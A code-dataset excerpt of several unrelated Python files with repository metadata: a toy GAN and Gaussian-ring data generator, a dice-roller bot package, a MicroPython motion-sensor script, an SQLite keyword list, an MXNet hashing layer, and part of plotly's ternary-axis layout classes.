nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 1, bias=True))
def get_data(samples: Optional[int] = 400, variance: Optional[float] = 0.05) -> torch.Tensor:
"""
Function generates a 2d ring of 8 Gaussians
:param samples: (Optional[int]) Number of samples including in the resulting dataset. Must be a multiple of 8.
:param variance: (Optional[float]) Variance of the gaussian
:return: (torch.Tensor) generated data
"""
assert samples % 8 == 0 and samples > 0, "Number of samples must be a multiple of 8 and bigger than 0"
# Init angels of the means
angels = torch.cumsum((2 * np.pi / 8) * torch.ones((8)), dim=0)
# Convert angles to 2D coordinates
means = torch.stack([torch.cos(angels), torch.sin(angels)], dim=0)
# Generate data
data = torch.empty((2, samples))
counter = 0
for gaussian in range(means.shape[1]):
for sample in range(int(samples / 8)):
data[:, counter] = torch.normal(means[:, gaussian], variance)
counter += 1
# Reshape data
data = data.T
# Shuffle data
data = data[torch.randperm(data.shape[0])]
# Convert numpy array to tensor
return data.float()
| 44.292135 | 114 | 0.540081 | from typing import Optional
import torch
import torch.nn as nn
from torch.nn.utils import spectral_norm
import numpy as np
def get_generator(latent_size: int, use_spectral_norm: bool) -> nn.Module:
if use_spectral_norm:
return nn.Sequential(spectral_norm(nn.Linear(latent_size, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.Tanh(),
spectral_norm(nn.Linear(256, 2, bias=True)))
return nn.Sequential(nn.Linear(latent_size, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.Tanh(),
nn.Linear(256, 2, bias=True))
def get_discriminator(use_spectral_norm: bool) -> nn.Module:
if use_spectral_norm:
return nn.Sequential(spectral_norm(nn.Linear(2, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 256, bias=True)),
nn.LeakyReLU(),
spectral_norm(nn.Linear(256, 1, bias=True)))
return nn.Sequential(nn.Linear(2, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 256, bias=True),
nn.LeakyReLU(),
nn.Linear(256, 1, bias=True))
def get_data(samples: Optional[int] = 400, variance: Optional[float] = 0.05) -> torch.Tensor:
assert samples % 8 == 0 and samples > 0, "Number of samples must be a multiple of 8 and bigger than 0"
angels = torch.cumsum((2 * np.pi / 8) * torch.ones((8)), dim=0)
means = torch.stack([torch.cos(angels), torch.sin(angels)], dim=0)
data = torch.empty((2, samples))
counter = 0
for gaussian in range(means.shape[1]):
for sample in range(int(samples / 8)):
data[:, counter] = torch.normal(means[:, gaussian], variance)
counter += 1
data = data.T
data = data[torch.randperm(data.shape[0])]
return data.float()
| true | true |
f72627c561e2ac89a391788cfaf08f88db3539eb | 585 | py | Python | rgr/__init__.py | Faxn/rgr | 656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331 | [
"BSD-2-Clause"
] | null | null | null | rgr/__init__.py | Faxn/rgr | 656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331 | [
"BSD-2-Clause"
] | null | null | null | rgr/__init__.py | Faxn/rgr | 656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331 | [
"BSD-2-Clause"
] | null | null | null |
from . import lexer
from .parseRoll import parser
def roll(expression : str):
"Runs the dice expression provided and returns long form result"
try:
tree = parser.parse(expression)
result, hist = tree.roll()
except Exception as E:
return str(E)
return result, hist, tree
def compile(expression : str):
tree = parser.parse(expression)
return tree
try:
from .rgrcog import RGR
def setup(bot):
bot.add_cog(RGR(bot))
except ModuleNotFoundError as e:
def setup(bot):
raise Exception(str(e), e)
pass
| 19.5 | 68 | 0.642735 |
from . import lexer
from .parseRoll import parser
def roll(expression : str):
try:
tree = parser.parse(expression)
result, hist = tree.roll()
except Exception as E:
return str(E)
return result, hist, tree
def compile(expression : str):
tree = parser.parse(expression)
return tree
try:
from .rgrcog import RGR
def setup(bot):
bot.add_cog(RGR(bot))
except ModuleNotFoundError as e:
def setup(bot):
raise Exception(str(e), e)
pass
| true | true |
f726282d7144fcaa8467eabd6470b58a1158a9e7 | 374 | py | Python | projects/intruder_detection/main.py | henriwoodcock/developer | 7ddd7f0b56564c0c13d5505c16b6f89c0c29886a | [
"CC-BY-4.0"
] | null | null | null | projects/intruder_detection/main.py | henriwoodcock/developer | 7ddd7f0b56564c0c13d5505c16b6f89c0c29886a | [
"CC-BY-4.0"
] | null | null | null | projects/intruder_detection/main.py | henriwoodcock/developer | 7ddd7f0b56564c0c13d5505c16b6f89c0c29886a | [
"CC-BY-4.0"
] | null | null | null | from machine import Pin, Timer
def check_sensor(timer):
global sensor
if sensor.value() == 1:
gp1.value(1)
else:
gp1.value(0)
#GP4 - 5v output
gp4 = Pin(4,Pin.OUT)
gp4.value(1)
#GP1 - output for LED
gp1= Pin(1,Pin.OUT)
#GP5 - input from sensor
sensor = Pin(5,Pin.IN)
tim = Timer()
tim.init(freq=1.5, mode=Timer.PERIODIC, callback=check_sensor)
| 19.684211 | 62 | 0.65508 | from machine import Pin, Timer
def check_sensor(timer):
global sensor
if sensor.value() == 1:
gp1.value(1)
else:
gp1.value(0)
gp4 = Pin(4,Pin.OUT)
gp4.value(1)
gp1= Pin(1,Pin.OUT)
sensor = Pin(5,Pin.IN)
tim = Timer()
tim.init(freq=1.5, mode=Timer.PERIODIC, callback=check_sensor)
| true | true |
f72629c9f8acea66ab3447479454246371b49923 | 1,440 | py | Python | src/view/SqliteKeywords.py | struts2spring/sql-editor | 082868dd92cbd8f0f6715f734f9ebe64032cbe4a | [
"MIT"
] | 9 | 2018-10-15T04:57:37.000Z | 2021-12-07T07:39:35.000Z | src/view/SqliteKeywords.py | struts2spring/sql-editor | 082868dd92cbd8f0f6715f734f9ebe64032cbe4a | [
"MIT"
] | 13 | 2018-10-19T11:52:44.000Z | 2021-09-08T00:39:30.000Z | src/view/SqliteKeywords.py | struts2spring/sql-editor | 082868dd92cbd8f0f6715f734f9ebe64032cbe4a | [
"MIT"
] | 3 | 2018-10-25T11:08:04.000Z | 2021-02-23T08:28:31.000Z | '''
Created on 04-Feb-2017
@author: vijay
'''
keyword = [
'ABORT'
, 'ACTION'
, 'ADD'
, 'AFTER'
, 'ALL'
, 'ALTER'
, 'ANALYZE'
, 'AND'
, 'AS'
, 'ASC'
, 'ATTACH'
, 'AUTOINCREMENT'
, 'BEFORE'
, 'BEGIN'
, 'BETWEEN'
, 'BY'
, 'CASCADE'
, 'CASE'
, 'CAST'
, 'CHECK'
, 'COLLATE'
, 'COLUMN'
, 'COMMIT'
, 'CONFLICT'
, 'CONSTRAINT'
, 'CREATE'
, 'CROSS'
, 'CURRENT_DATE'
, 'CURRENT_TIME'
, 'CURRENT_TIMESTAMP'
, 'DATABASE'
, 'DEFAULT'
, 'DEFERRABLE'
, 'DEFERRED'
, 'DELETE'
, 'DESC'
, 'DETACH'
, 'DISTINCT'
, 'DROP'
, 'EACH'
, 'ELSE'
, 'END'
, 'ESCAPE'
, 'EXCEPT'
, 'EXCLUSIVE'
, 'EXISTS'
, 'EXPLAIN'
, 'FAIL'
, 'FOR'
, 'FOREIGN'
, 'FROM'
, 'FULL'
, 'GLOB'
, 'GROUP'
, 'HAVING'
, 'IF'
, 'IGNORE'
, 'IMMEDIATE'
, 'IN'
, 'INDEX'
, 'INDEXED'
, 'INITIALLY'
, 'INNER'
, 'INSERT'
, 'INSTEAD'
, 'INTERSECT'
, 'INTO'
, 'IS'
, 'ISNULL'
, 'JOIN'
, 'KEY'
, 'LEFT'
, 'LIKE'
, 'LIMIT'
, 'MATCH'
, 'NATURAL'
, 'NO'
, 'NOT'
, 'NOTNULL'
, 'NULL'
, 'OF'
, 'OFFSET'
, 'OR'
, 'ORDER'
, 'OUTER'
, 'PLAN'
, 'PRAGMA'
, 'PRIMARY'
, 'QUERY'
, 'RAISE'
, 'RECURSIVE'
, 'REFERENCES'
, 'REGEXP'
, 'REINDEX'
, 'RELEASE'
, 'RENAME'
, 'REPLACE'
, 'RESTRICT'
, 'RIGHT'
, 'ROLLBACK'
, 'ROW'
, 'SAVEPOINT'
, 'SELECT'
, 'SET'
, 'TABLE'
, 'TEMP'
, 'TEMPORARY'
, 'THEN'
, 'TO'
, 'TRANSACTION'
, 'TRIGGER'
, 'UNION'
, 'UNIQUE'
, 'UPDATE'
, 'USING'
, 'VACUUM'
, 'VALUES'
, 'VIEW'
, 'VIRTUAL'
, 'WHEN'
, 'WHERE'
, 'WITH'
, 'WITHOUT'
]
if __name__ == '__main__':
pass
| 10.510949 | 26 | 0.531944 |
keyword = [
'ABORT'
, 'ACTION'
, 'ADD'
, 'AFTER'
, 'ALL'
, 'ALTER'
, 'ANALYZE'
, 'AND'
, 'AS'
, 'ASC'
, 'ATTACH'
, 'AUTOINCREMENT'
, 'BEFORE'
, 'BEGIN'
, 'BETWEEN'
, 'BY'
, 'CASCADE'
, 'CASE'
, 'CAST'
, 'CHECK'
, 'COLLATE'
, 'COLUMN'
, 'COMMIT'
, 'CONFLICT'
, 'CONSTRAINT'
, 'CREATE'
, 'CROSS'
, 'CURRENT_DATE'
, 'CURRENT_TIME'
, 'CURRENT_TIMESTAMP'
, 'DATABASE'
, 'DEFAULT'
, 'DEFERRABLE'
, 'DEFERRED'
, 'DELETE'
, 'DESC'
, 'DETACH'
, 'DISTINCT'
, 'DROP'
, 'EACH'
, 'ELSE'
, 'END'
, 'ESCAPE'
, 'EXCEPT'
, 'EXCLUSIVE'
, 'EXISTS'
, 'EXPLAIN'
, 'FAIL'
, 'FOR'
, 'FOREIGN'
, 'FROM'
, 'FULL'
, 'GLOB'
, 'GROUP'
, 'HAVING'
, 'IF'
, 'IGNORE'
, 'IMMEDIATE'
, 'IN'
, 'INDEX'
, 'INDEXED'
, 'INITIALLY'
, 'INNER'
, 'INSERT'
, 'INSTEAD'
, 'INTERSECT'
, 'INTO'
, 'IS'
, 'ISNULL'
, 'JOIN'
, 'KEY'
, 'LEFT'
, 'LIKE'
, 'LIMIT'
, 'MATCH'
, 'NATURAL'
, 'NO'
, 'NOT'
, 'NOTNULL'
, 'NULL'
, 'OF'
, 'OFFSET'
, 'OR'
, 'ORDER'
, 'OUTER'
, 'PLAN'
, 'PRAGMA'
, 'PRIMARY'
, 'QUERY'
, 'RAISE'
, 'RECURSIVE'
, 'REFERENCES'
, 'REGEXP'
, 'REINDEX'
, 'RELEASE'
, 'RENAME'
, 'REPLACE'
, 'RESTRICT'
, 'RIGHT'
, 'ROLLBACK'
, 'ROW'
, 'SAVEPOINT'
, 'SELECT'
, 'SET'
, 'TABLE'
, 'TEMP'
, 'TEMPORARY'
, 'THEN'
, 'TO'
, 'TRANSACTION'
, 'TRIGGER'
, 'UNION'
, 'UNIQUE'
, 'UPDATE'
, 'USING'
, 'VACUUM'
, 'VALUES'
, 'VIEW'
, 'VIRTUAL'
, 'WHEN'
, 'WHERE'
, 'WITH'
, 'WITHOUT'
]
if __name__ == '__main__':
pass
| true | true |
f72629d7ccf97ec969ccabc9f97fbd9dea75c8a0 | 2,228 | py | Python | symbols/symbol_ssdh.py | galad-loth/LearnDescriptor | 30552a699597415a13793eb85d21b5e33a296a99 | [
"Apache-2.0"
] | 100 | 2018-02-06T10:47:43.000Z | 2022-02-16T01:11:30.000Z | symbols/symbol_ssdh.py | JiaxueLi/DeepMatch | 30552a699597415a13793eb85d21b5e33a296a99 | [
"Apache-2.0"
] | 2 | 2019-07-24T17:22:37.000Z | 2020-03-19T04:11:47.000Z | symbols/symbol_ssdh.py | JiaxueLi/DeepMatch | 30552a699597415a13793eb85d21b5e33a296a99 | [
"Apache-2.0"
] | 21 | 2018-11-11T06:35:43.000Z | 2020-11-25T07:52:20.000Z | # -*- coding: utf-8 -*-
"""
Created on Tue Mar 07 21:00:11 2017
@author: galad-loth
"""
import numpy as npy
import mxnet as mx
class HashLossLayer(mx.operator.NumpyOp):
def __init__(self, w_bin,w_balance):
super(HashLossLayer, self).__init__(False)
self.w_bin=w_bin
self.w_balance=w_balance
def list_arguments(self):
return ['data']
def list_outputs(self):
return ['output']
def infer_shape(self, in_shape):
data_shape=in_shape[0]
return [data_shape],[data_shape]
def forward(self, in_data, out_data):
x=in_data[0]
# l=in_data[1]
y=out_data[0]
xs=x-0.5
y[:]=1
y[xs<0]=0
# y[:]=npy.ones((x.shape[0],1))-l.reshape((x.shape[0],1))*x
def backward(self, out_grad, in_data, out_data, in_grad):
x=in_data[0]
dx=in_grad[0]
grad1=-2*(x-0.5)/x.shape[1]
mu=npy.mean(x,axis=1)
grad2=2*(mu-0.5)/x.shape[1]
grad=self.w_bin*grad1+self.w_balance*grad2
dx[:]=grad
def get_finetune_symbol(net_pre,arg_params,
num_latent, num_class,layer_name='flatten'):
"""
net_pre: the pre-trained network symbol
arg_params: the argument parameters of the pre-trained model
num_latent: the number of latent layer units for the fine-tune datasets
layer_name: the layer name before the last fully-connected layer
"""
all_layers = net_pre.get_internals()
load_net = all_layers[layer_name+'_output']
latent = mx.symbol.FullyConnected(data=load_net, num_hidden=num_latent, name='latent_ssdh')
latent = mx.sym.Activation(data=latent, act_type="sigmoid", name="sigmoid_ssdh")
class_net = mx.symbol.FullyConnected(data=latent, num_hidden=num_class, name='fc_ssdh')
class_net = mx.symbol.SoftmaxOutput(data=class_net, name='softmax')
hash_loss=HashLossLayer(0.1,0.1)
hash_net=hash_loss(data=latent, name="hash")
net = mx.sym.Group([class_net,hash_net])
new_args = dict({k:arg_params[k] for k in arg_params if 'fc' not in k})
return (net, new_args)
| 33.757576 | 96 | 0.612208 |
import numpy as npy
import mxnet as mx
class HashLossLayer(mx.operator.NumpyOp):
def __init__(self, w_bin,w_balance):
super(HashLossLayer, self).__init__(False)
self.w_bin=w_bin
self.w_balance=w_balance
def list_arguments(self):
return ['data']
def list_outputs(self):
return ['output']
def infer_shape(self, in_shape):
data_shape=in_shape[0]
return [data_shape],[data_shape]
def forward(self, in_data, out_data):
x=in_data[0]
y=out_data[0]
xs=x-0.5
y[:]=1
y[xs<0]=0
def backward(self, out_grad, in_data, out_data, in_grad):
x=in_data[0]
dx=in_grad[0]
grad1=-2*(x-0.5)/x.shape[1]
mu=npy.mean(x,axis=1)
grad2=2*(mu-0.5)/x.shape[1]
grad=self.w_bin*grad1+self.w_balance*grad2
dx[:]=grad
def get_finetune_symbol(net_pre,arg_params,
num_latent, num_class,layer_name='flatten'):
all_layers = net_pre.get_internals()
load_net = all_layers[layer_name+'_output']
latent = mx.symbol.FullyConnected(data=load_net, num_hidden=num_latent, name='latent_ssdh')
latent = mx.sym.Activation(data=latent, act_type="sigmoid", name="sigmoid_ssdh")
class_net = mx.symbol.FullyConnected(data=latent, num_hidden=num_class, name='fc_ssdh')
class_net = mx.symbol.SoftmaxOutput(data=class_net, name='softmax')
hash_loss=HashLossLayer(0.1,0.1)
hash_net=hash_loss(data=latent, name="hash")
net = mx.sym.Group([class_net,hash_net])
new_args = dict({k:arg_params[k] for k in arg_params if 'fc' not in k})
return (net, new_args)
| true | true |
f72629ddc71a4e57e29e2e43fc86db58df8c4de3 | 23,900 | py | Python | plotly_study/graph_objs/layout/ternary/aaxis/__init__.py | lucasiscovici/plotly_py | 42ab769febb45fbbe0a3c677dc4306a4f59cea36 | [
"MIT"
] | null | null | null | plotly_study/graph_objs/layout/ternary/aaxis/__init__.py | lucasiscovici/plotly_py | 42ab769febb45fbbe0a3c677dc4306a4f59cea36 | [
"MIT"
] | null | null | null | plotly_study/graph_objs/layout/ternary/aaxis/__init__.py | lucasiscovici/plotly_py | 42ab769febb45fbbe0a3c677dc4306a4f59cea36 | [
"MIT"
] | null | null | null | from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Title(_BaseLayoutHierarchyType):
# font
# ----
@property
def font(self):
"""
Sets this axis' title font. Note that the title's font used to
be customized by the now deprecated `titlefont` attribute.
The 'font' property is an instance of Font
that may be specified as:
- An instance of plotly_study.graph_objs.layout.ternary.aaxis.title.Font
- A dict of string/value properties that will be passed
to the Font constructor
Supported dict properties:
color
family
HTML font family - the typeface that will be
applied by the web browser. The web browser
will only be able to apply a font if it is
available on the system which it operates.
Provide multiple font families, separated by
commas, to indicate the preference in which to
apply fonts if they aren't available on the
system. The plotly service (at https://plot.ly
or on-premise) generates images on a server,
where only a select number of fonts are
installed and supported. These include "Arial",
"Balto", "Courier New", "Droid Sans",, "Droid
Serif", "Droid Sans Mono", "Gravitas One", "Old
Standard TT", "Open Sans", "Overpass", "PT Sans
Narrow", "Raleway", "Times New Roman".
size
Returns
-------
plotly_study.graph_objs.layout.ternary.aaxis.title.Font
"""
return self["font"]
@font.setter
def font(self, val):
self["font"] = val
# text
# ----
@property
def text(self):
"""
Sets the title of this axis. Note that before the existence of
`title.text`, the title's contents used to be defined as the
`title` attribute itself. This behavior has been deprecated.
The 'text' property is a string and must be specified as:
- A string
- A number that will be converted to a string
Returns
-------
str
"""
return self["text"]
@text.setter
def text(self, val):
self["text"] = val
# property parent name
# --------------------
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
font
Sets this axis' title font. Note that the title's font
used to be customized by the now deprecated `titlefont`
attribute.
text
Sets the title of this axis. Note that before the
existence of `title.text`, the title's contents used to
be defined as the `title` attribute itself. This
behavior has been deprecated.
"""
def __init__(self, arg=None, font=None, text=None, **kwargs):
"""
Construct a new Title object
Parameters
----------
arg
dict of properties compatible with this constructor or
an instance of
plotly_study.graph_objs.layout.ternary.aaxis.Title
font
Sets this axis' title font. Note that the title's font
used to be customized by the now deprecated `titlefont`
attribute.
text
Sets the title of this axis. Note that before the
existence of `title.text`, the title's contents used to
be defined as the `title` attribute itself. This
behavior has been deprecated.
Returns
-------
Title
"""
super(Title, self).__init__("title")
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Title
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Title"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
# Import validators
# -----------------
from plotly_study.validators.layout.ternary.aaxis import title as v_title
# Initialize validators
# ---------------------
self._validators["font"] = v_title.FontValidator()
self._validators["text"] = v_title.TextValidator()
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("font", None)
self["font"] = font if font is not None else _v
_v = arg.pop("text", None)
self["text"] = text if text is not None else _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Tickformatstop(_BaseLayoutHierarchyType):
# dtickrange
# ----------
@property
def dtickrange(self):
"""
range [*min*, *max*], where "min", "max" - dtick values which
describe some zoom level, it is possible to omit "min" or "max"
value by passing "null"
The 'dtickrange' property is an info array that may be specified as:
* a list or tuple of 2 elements where:
(0) The 'dtickrange[0]' property accepts values of any type
(1) The 'dtickrange[1]' property accepts values of any type
Returns
-------
list
"""
return self["dtickrange"]
@dtickrange.setter
def dtickrange(self, val):
self["dtickrange"] = val
# enabled
# -------
@property
def enabled(self):
"""
Determines whether or not this stop is used. If `false`, this
stop is ignored even within its `dtickrange`.
The 'enabled' property must be specified as a bool
(either True, or False)
Returns
-------
bool
"""
return self["enabled"]
@enabled.setter
def enabled(self, val):
self["enabled"] = val
# name
# ----
@property
def name(self):
"""
When used in a template, named items are created in the output
figure in addition to any items the figure already has in this
array. You can modify these items in the output figure by
making your own item with `templateitemname` matching this
`name` alongside your modifications (including `visible: false`
or `enabled: false` to hide it). Has no effect outside of a
template.
The 'name' property is a string and must be specified as:
- A string
- A number that will be converted to a string
Returns
-------
str
"""
return self["name"]
@name.setter
def name(self, val):
self["name"] = val
# templateitemname
# ----------------
@property
def templateitemname(self):
"""
Used to refer to a named item in this array in the template.
Named items from the template will be created even without a
matching item in the input figure, but you can modify one by
making an item with `templateitemname` matching its `name`,
alongside your modifications (including `visible: false` or
`enabled: false` to hide it). If there is no template or no
matching item, this item will be hidden unless you explicitly
show it with `visible: true`.
The 'templateitemname' property is a string and must be specified as:
- A string
- A number that will be converted to a string
Returns
-------
str
"""
return self["templateitemname"]
@templateitemname.setter
def templateitemname(self, val):
self["templateitemname"] = val
# value
# -----
@property
def value(self):
"""
string - dtickformat for described zoom level, the same as
"tickformat"
The 'value' property is a string and must be specified as:
- A string
- A number that will be converted to a string
Returns
-------
str
"""
return self["value"]
@value.setter
def value(self, val):
self["value"] = val
# property parent name
# --------------------
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
dtickrange
range [*min*, *max*], where "min", "max" - dtick values
which describe some zoom level, it is possible to omit
"min" or "max" value by passing "null"
enabled
Determines whether or not this stop is used. If
`false`, this stop is ignored even within its
`dtickrange`.
name
When used in a template, named items are created in the
output figure in addition to any items the figure
already has in this array. You can modify these items
in the output figure by making your own item with
`templateitemname` matching this `name` alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). Has no effect outside of a
template.
templateitemname
Used to refer to a named item in this array in the
template. Named items from the template will be created
even without a matching item in the input figure, but
you can modify one by making an item with
`templateitemname` matching its `name`, alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). If there is no template or no
matching item, this item will be hidden unless you
explicitly show it with `visible: true`.
value
string - dtickformat for described zoom level, the same
as "tickformat"
"""
def __init__(
self,
arg=None,
dtickrange=None,
enabled=None,
name=None,
templateitemname=None,
value=None,
**kwargs
):
"""
Construct a new Tickformatstop object
Parameters
----------
arg
dict of properties compatible with this constructor or
an instance of
plotly_study.graph_objs.layout.ternary.aaxis.Tickformatstop
dtickrange
range [*min*, *max*], where "min", "max" - dtick values
which describe some zoom level, it is possible to omit
"min" or "max" value by passing "null"
enabled
Determines whether or not this stop is used. If
`false`, this stop is ignored even within its
`dtickrange`.
name
When used in a template, named items are created in the
output figure in addition to any items the figure
already has in this array. You can modify these items
in the output figure by making your own item with
`templateitemname` matching this `name` alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). Has no effect outside of a
template.
templateitemname
Used to refer to a named item in this array in the
template. Named items from the template will be created
even without a matching item in the input figure, but
you can modify one by making an item with
`templateitemname` matching its `name`, alongside your
modifications (including `visible: false` or `enabled:
false` to hide it). If there is no template or no
matching item, this item will be hidden unless you
explicitly show it with `visible: true`.
value
string - dtickformat for described zoom level, the same
as "tickformat"
Returns
-------
Tickformatstop
"""
super(Tickformatstop, self).__init__("tickformatstops")
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Tickformatstop
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Tickformatstop"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
# Import validators
# -----------------
from plotly_study.validators.layout.ternary.aaxis import (
tickformatstop as v_tickformatstop,
)
# Initialize validators
# ---------------------
self._validators["dtickrange"] = v_tickformatstop.DtickrangeValidator()
self._validators["enabled"] = v_tickformatstop.EnabledValidator()
self._validators["name"] = v_tickformatstop.NameValidator()
self._validators[
"templateitemname"
] = v_tickformatstop.TemplateitemnameValidator()
self._validators["value"] = v_tickformatstop.ValueValidator()
# Populate data dict with properties
# ----------------------------------
_v = arg.pop("dtickrange", None)
self["dtickrange"] = dtickrange if dtickrange is not None else _v
_v = arg.pop("enabled", None)
self["enabled"] = enabled if enabled is not None else _v
_v = arg.pop("name", None)
self["name"] = name if name is not None else _v
_v = arg.pop("templateitemname", None)
self["templateitemname"] = (
templateitemname if templateitemname is not None else _v
)
_v = arg.pop("value", None)
self["value"] = value if value is not None else _v
# Process unknown kwargs
# ----------------------
self._process_kwargs(**dict(arg, **kwargs))
# Reset skip_invalid
# ------------------
self._skip_invalid = False
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Tickfont(_BaseLayoutHierarchyType):
# color
# -----
@property
def color(self):
"""
The 'color' property is a color and may be specified as:
- A hex string (e.g. '#ff0000')
- An rgb/rgba string (e.g. 'rgb(255,0,0)')
- An hsl/hsla string (e.g. 'hsl(0,100%,50%)')
- An hsv/hsva string (e.g. 'hsv(0,100%,100%)')
- A named CSS color:
aliceblue, antiquewhite, aqua, aquamarine, azure,
beige, bisque, black, blanchedalmond, blue,
blueviolet, brown, burlywood, cadetblue,
chartreuse, chocolate, coral, cornflowerblue,
cornsilk, crimson, cyan, darkblue, darkcyan,
darkgoldenrod, darkgray, darkgrey, darkgreen,
darkkhaki, darkmagenta, darkolivegreen, darkorange,
darkorchid, darkred, darksalmon, darkseagreen,
darkslateblue, darkslategray, darkslategrey,
darkturquoise, darkviolet, deeppink, deepskyblue,
dimgray, dimgrey, dodgerblue, firebrick,
floralwhite, forestgreen, fuchsia, gainsboro,
ghostwhite, gold, goldenrod, gray, grey, green,
greenyellow, honeydew, hotpink, indianred, indigo,
ivory, khaki, lavender, lavenderblush, lawngreen,
lemonchiffon, lightblue, lightcoral, lightcyan,
lightgoldenrodyellow, lightgray, lightgrey,
lightgreen, lightpink, lightsalmon, lightseagreen,
lightskyblue, lightslategray, lightslategrey,
lightsteelblue, lightyellow, lime, limegreen,
linen, magenta, maroon, mediumaquamarine,
mediumblue, mediumorchid, mediumpurple,
mediumseagreen, mediumslateblue, mediumspringgreen,
mediumturquoise, mediumvioletred, midnightblue,
mintcream, mistyrose, moccasin, navajowhite, navy,
oldlace, olive, olivedrab, orange, orangered,
orchid, palegoldenrod, palegreen, paleturquoise,
palevioletred, papayawhip, peachpuff, peru, pink,
plum, powderblue, purple, red, rosybrown,
royalblue, rebeccapurple, saddlebrown, salmon,
sandybrown, seagreen, seashell, sienna, silver,
skyblue, slateblue, slategray, slategrey, snow,
springgreen, steelblue, tan, teal, thistle, tomato,
turquoise, violet, wheat, white, whitesmoke,
yellow, yellowgreen
Returns
-------
str
"""
return self["color"]
@color.setter
def color(self, val):
self["color"] = val
# family
# ------
@property
def family(self):
"""
HTML font family - the typeface that will be applied by the web
browser. The web browser will only be able to apply a font if
it is available on the system which it operates. Provide
multiple font families, separated by commas, to indicate the
preference in which to apply fonts if they aren't available on
the system. The plotly service (at https://plot.ly or on-
premise) generates images on a server, where only a select
number of fonts are installed and supported. These include
"Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif",
"Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open
Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New
Roman".
The 'family' property is a string and must be specified as:
- A non-empty string
Returns
-------
str
"""
return self["family"]
@family.setter
def family(self, val):
self["family"] = val
# size
# ----
@property
def size(self):
"""
The 'size' property is a number and may be specified as:
- An int or float in the interval [1, inf]
Returns
-------
int|float
"""
return self["size"]
@size.setter
def size(self, val):
self["size"] = val
# property parent name
# --------------------
@property
def _parent_path_str(self):
return "layout.ternary.aaxis"
# Self properties description
# ---------------------------
@property
def _prop_descriptions(self):
return """\
color
family
HTML font family - the typeface that will be applied by
the web browser. The web browser will only be able to
apply a font if it is available on the system which it
operates. Provide multiple font families, separated by
commas, to indicate the preference in which to apply
fonts if they aren't available on the system. The
plotly service (at https://plot.ly or on-premise)
generates images on a server, where only a select
number of fonts are installed and supported. These
include "Arial", "Balto", "Courier New", "Droid Sans",,
"Droid Serif", "Droid Sans Mono", "Gravitas One", "Old
Standard TT", "Open Sans", "Overpass", "PT Sans
Narrow", "Raleway", "Times New Roman".
size
"""
def __init__(self, arg=None, color=None, family=None, size=None, **kwargs):
"""
Construct a new Tickfont object
Sets the tick font.
Parameters
----------
arg
dict of properties compatible with this constructor or
an instance of
plotly_study.graph_objs.layout.ternary.aaxis.Tickfont
color
family
HTML font family - the typeface that will be applied by
the web browser. The web browser will only be able to
apply a font if it is available on the system which it
operates. Provide multiple font families, separated by
commas, to indicate the preference in which to apply
fonts if they aren't available on the system. The
plotly service (at https://plot.ly or on-premise)
generates images on a server, where only a select
number of fonts are installed and supported. These
include "Arial", "Balto", "Courier New", "Droid Sans",,
"Droid Serif", "Droid Sans Mono", "Gravitas One", "Old
Standard TT", "Open Sans", "Overpass", "PT Sans
Narrow", "Raleway", "Times New Roman".
size
Returns
-------
Tickfont
"""
super(Tickfont, self).__init__("tickfont")
# Validate arg
# ------------
if arg is None:
arg = {}
elif isinstance(arg, self.__class__):
arg = arg.to_plotly_json()
elif isinstance(arg, dict):
arg = _copy.copy(arg)
else:
raise ValueError(
"""\
The first argument to the plotly_study.graph_objs.layout.ternary.aaxis.Tickfont
constructor must be a dict or
an instance of plotly_study.graph_objs.layout.ternary.aaxis.Tickfont"""
)
# Handle skip_invalid
# -------------------
self._skip_invalid = kwargs.pop("skip_invalid", False)
